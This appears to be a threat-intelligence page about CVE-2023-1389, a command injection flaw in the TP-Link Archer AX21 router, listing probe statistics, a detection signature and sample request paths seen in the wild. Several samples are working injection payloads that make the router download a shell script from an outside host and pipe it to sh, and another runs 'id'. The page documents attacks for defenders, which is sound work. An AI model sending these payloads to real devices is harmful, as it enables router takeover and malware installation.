CVE report

CVE-2023-1389criticalKEV

TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection

Events 90d

62

Distinct IPs

20

Severity

critical

CISA KEV

Actively exploited

Detection signature

An event counts toward CVE-2023-1389 when its URL path contains any of these (case-insensitive). This is what our matching is based on.

  • · /cgi-bin/luci/;stok=/locale?form=country

Pre-disclosure activity

all early actors →

Analysing probe history around the publication date…

Recent probe volume (last 7 days)

peak: 6 events/day
05-0705-1406-0606-2407-0607-1607-25
eventsdistinct IPs

Downloads & integrations

Top sources probing for CVE-2023-1389

Top networks the attempts come from

Fingerprints of the clients exploiting this

The HTTP (JA4H) and TLS (JA4) fingerprints seen on these attempts. Click one to see the whole population that carries it.

Sample request paths observed

  • /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F204.10.194.134%2Frondo.%5Czqq.sh%7Csh%60
  • /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id)
  • /cgi-bin/luci/;stok=/locale?form=country
  • /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)